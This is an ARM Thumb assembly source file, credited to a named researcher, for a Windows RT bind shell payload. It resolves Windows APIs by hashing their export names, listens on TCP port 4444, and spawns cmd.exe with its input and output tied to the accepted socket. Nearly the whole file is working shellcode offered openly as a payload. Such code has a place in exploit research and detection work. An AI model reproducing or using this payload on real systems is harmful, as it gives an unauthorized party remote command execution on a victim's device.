; Title: Windows RT ARM Bind Shell (Port 4444) ; Date: July 28, 2013 ; Author: Matthew Graeber (@mattifestation) ; Blog post: http://www.exploit-monday.com/2013/07/WinRT-ARM-Shellcode.html ; Tested on: Microsoft Surface RT Tablet w/ Windows RT (6.2.9200) ; License: BSD 3-Clause ; Syntax: MASM ; Notes: In order for this to work properly, you have to call this payload ; at baseaddress + 1 since it is thumb code. ; This was built with armasm.exe from Visual Studio 2012 AREA |.foo|, CODE, THUMB ; After linking, the resulting executable will only ; have a single section (with RX permissions) named .foo EXPORT main main push {r4,lr} ; Preserve registers on the stack bl ExecutePayload ; Execute bind shell function pop {r4,pc} ; Restore registers on the stack and return to caller GetProcAddress ; ARM (Thumb) implementation of the logic from the Metasploit x86 block_api shellcode push {r1-r11,lr} ; Preserve registers on the stack mov r9,r0 ; Save the function hash in R9 mrc p15,#0,r3,c13,c0,#2 ; R3 = &TEB ldr r3,[r3,#0x30] ; R3 = &PEB ldr r3,[r3,#0xC] ; R3 = PEB->Ldr movs r6,#0 ; R6 = 0 ldr r1,[r3,#0xC] ; R1 = Ldr->InLoadOrderModuleList ldr r4,[r1,#0x18] ; R4 = LDR_DATA_TABLE_ENTRY.DllBase ldr r3,[r1,#0x2C] ; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName ldr r7,[r1,#0x30] ; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer str r3,[sp] ; Store BaseDllName.Length/MaximumLength on the stack cbz r4,exit_failure ; If DllBase == 0, you've likely reached the end of the module list. Return 0. mov r10,#0xD ; R10 = ROR value (13) mov r11,#0xD ; R11 = ROR value (13) get_module_hash ; Improvement: Need to validate MaximumLength != 0 ldrh r5,[sp,#2] ; BaseDllName.MaximumLength movs r2,#0 ; i = 0 cbz r5,get_export_dir ; Reached the last char of BaseDllName ror_module_char ldrsb r3,[r7,r2] ; R3 = (CHAR) *((PCSTR) BaseDllName.Buffer + i) rors r0,r6,r10 ; Calculate the next portion of the module hash cmp r3,#0x61 ; Is the character lower case? blt notlowercase adds r3,r3,r0 ; Add to the running hash value subs r6,r3,#0x20 ; Convert character to upper case b get_next_char notlowercase adds r6,r3,r0 ; Add to the running hash value get_next_char adds r2,#1 ; Move to the next character cmp r2,r5 ; Reached the last character in the module name? bcc ror_module_char ; If not, move on to the next character get_export_dir ; At this point, the module hash has been calculated. ; Now begin calculating the function hash ldr r3,[r4,#0x3C] ; IMAGE_DOS_HEADER.e_lfanew - i.e. offset to PE IMAGE_NT_HEADERS adds r3,r3,r4 ; PIMAGE_NT_HEADERS ldr r3,[r3,#0x78] ; IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress (only an RVA at this point) cbz r3,get_next_module ; Move to the next module if it doesn't have an export directory (i.e. most exe files) adds r5,r3,r4 ; Calculate export dir virtual address ldr r3,[r5,#0x20] ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNames ldr r7,[r5,#0x18] ; R7 = PIMAGE_EXPORT_DIRECTORY->NumberOfNames movs r0,#0 adds r8,r3,r4 ; AddressOfNames VA cbz r7,get_next_module ; Move on to the next module if there are no exported names calc_func_hash ldr r3,[r8],#4 ; R3 = Current name RVA movs r2,#0 adds lr,r3,r4 ; lr = Current name VA get_func_char ldrsb r3,[lr] ; Load char from the function name rors r2,r2,r11 ; Calculate the next portion of the function hash adds r2,r2,r3 ; Add to the running hash value ldrsb r3,[lr],#1 ; Peek at the next char cmp r3,#0 ; Are you at the end of the function string? bne get_func_char ; If not, calculate hash for the next char. adds r3,r2,r6 ; Add the module hash to the function hash cmp r3,r9 ; Does the calulated hash match the hash provided? beq get_func_addr adds r0,#1 cmp r0,r7 ; Are there more functions to process? bcc calc_func_hash get_next_module ldr r1,[r1] ; LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink movs r6,#0 ; Clear the function hash ; Improvement: The following portion is redundant ldr r4,[r1,#0x18] ; R4 = LDR_DATA_TABLE_ENTRY.DllBase ldr r3,[r1,#0x2C] ; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName ldr r7,[r1,#0x30] ; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer cmp r4,#0 ; DllBase == 0? str r3,[sp] ; Store BaseDllName.Length/MaximumLength on the stack bne get_module_hash exit_failure movs r0,#0 ; Return 0 upon failure to find a matching hash exit_success pop {r1-r11,pc} ; Restore stack and return to caller with the function address in R0 get_func_addr ldr r3,[r5,#0x24] ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals add r3,r3,r0,lsl #1 ldrh r2,[r3,r4] ; R2 = Ordinal table index ldr r3,[r5,#0x1C] ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions add r3,r3,r2,lsl #2 ldr r3,[r3,r4] ; Function RVA adds r0,r3,r4 ; R0 = Function VA b exit_success ExecutePayload ; Improvement: None of the calls to GetProcAddress ; validate that a valid address was actually returned ; Metasploit shellcode doesn't perform this validation either. :P push {r4-r11,lr} ; Preserve registers on the stack subw sp,sp,#0x214 ; Allocate soace on the stack for local variables movs r3,#0x44 ; sizeof(_PROCESS_INFORMATION) add r2,sp,#0x38 ; R2 = &StartupInfo movs r1,#0 init_mem1 ; Improvement: I could just initialize everything on the stack to 0 strb r1,[r2],#1 ; Set current byte to 0 subs r3,#1 bne init_mem1 movs r3,#0x10 ; sizeof(_STARTUPINFOW) add r2,sp,#0x28 ; R2 = &ProcessInformation init_mem2 strb r1,[r2],#1 ; Set current byte to 0 subs r3,#1 bne init_mem2 ldr r0,HASH_LoadLibraryA bl GetProcAddress mov r3,r0 adr r0,module_name ; &"ws2_32.dll" blx r3 ; LoadLibrary("ws2_32.dll"); ldr r0,HASH_WsaStartup bl GetProcAddress mov r4,r0 ldr r0,HASH_WsaSocketA bl GetProcAddress mov r5,r0 ldr r0,HASH_Bind bl GetProcAddress mov r6,r0 ldr r0,HASH_Listen bl GetProcAddress mov r7,r0 ldr r0,HASH_Accept bl GetProcAddress mov r8,r0 ldr r0,HASH_CloseSocket bl GetProcAddress mov r9,r0 ldr r0,HASH_CreateProcess bl GetProcAddress mov r10,r0 ldr r0,HASH_WaitForSingleObject bl GetProcAddress mov r11,r0 mov r0,#0x0202 add r1,sp,#0x80 blx r4 ; WSAStartup(MAKEWORD(2, 2), &WSAData); movs r3,#0 movs r2,#0 movs r1,#1 movs r0,#2 str r3,[sp,#4] str r3,[sp] blx r5 ; s = WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); movs r3,#2 ; service.sin_family = AF_INET; strh r3,[sp,#0x18] movs r3,#0 ; service.sin_addr.s_addr = 0; str r3,[sp,#0x1C] mov r3,#0x5C11 ; service.sin_port = HTONS(4444); movs r2,#0x10 add r1,sp,#0x18 strh r3,[sp,#0x1A] mov r5,r0 ; WSASocketA returned socket (s) blx r6 ; Bind( s, (SOCKADDR *) &service, sizeof(service) ); movs r1,#0 mov r0,r5 blx r7 ; Listen( s, 0 ); movs r2,#0 movs r1,#0 mov r0,r5 blx r8 ; AcceptedSocket = Accept( s, 0, 0 ); mov r4,r0 mov r0,r5 blx r9 ; CloseSocket( s ); Close the original socket mov r3,#0x101 ; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; str r3,[sp,#0x64] movs r3,#0x44 ; StartupInfo.cb = 68; str r3,[sp,#0x38] add r3,sp,#0x28 str r3,[sp,#0x14] add r3,sp,#0x38 str r3,[sp,#0x10] movs r3,#0 str r3,[sp,#0xC] str r3,[sp,#8] str r3,[sp,#4] movs r3,#1 adr r1,cmdline ; &"cmd" str r3,[sp] movs r3,#0 movs r2,#0 movs r0,#0 str r4,[sp,#0x78] ; StartupInfo.hStdError = (HANDLE) AcceptedSocket; str r4,[sp,#0x74] ; StartupInfo.hStdOutput = (HANDLE) AcceptedSocket; str r4,[sp,#0x70] ; StartupInfo.hStdInput = (HANDLE) AcceptedSocket; blx r10 ; CreateProcessA( 0, "cmd", 0, 0, TRUE, 0, 0, 0, &StartupInfo, &ProcessInformation ); ldr r0,[sp,#0x28] mvn r1,#0 blx r11 ; WaitForSingleObject( ProcessInformation.hProcess, INFINITE ); addw sp,sp,#0x214 pop {r4-r11,pc} HASH_WaitForSingleObject DCD 0x601d8708 HASH_CreateProcess DCD 0x863fcc79 HASH_CloseSocket DCD 0x614d6e75 HASH_Accept DCD 0xe13bec74 HASH_Listen DCD 0xff38e9b7 HASH_Bind DCD 0x6737dbc2 HASH_WsaSocketA DCD 0xe0df0fea HASH_WsaStartup DCD 0x006b8029 HASH_LoadLibraryA DCD 0x0726774c cmdline DCB "cmd", 0x0 module_name DCB "ws2_32.dll", 0x0 END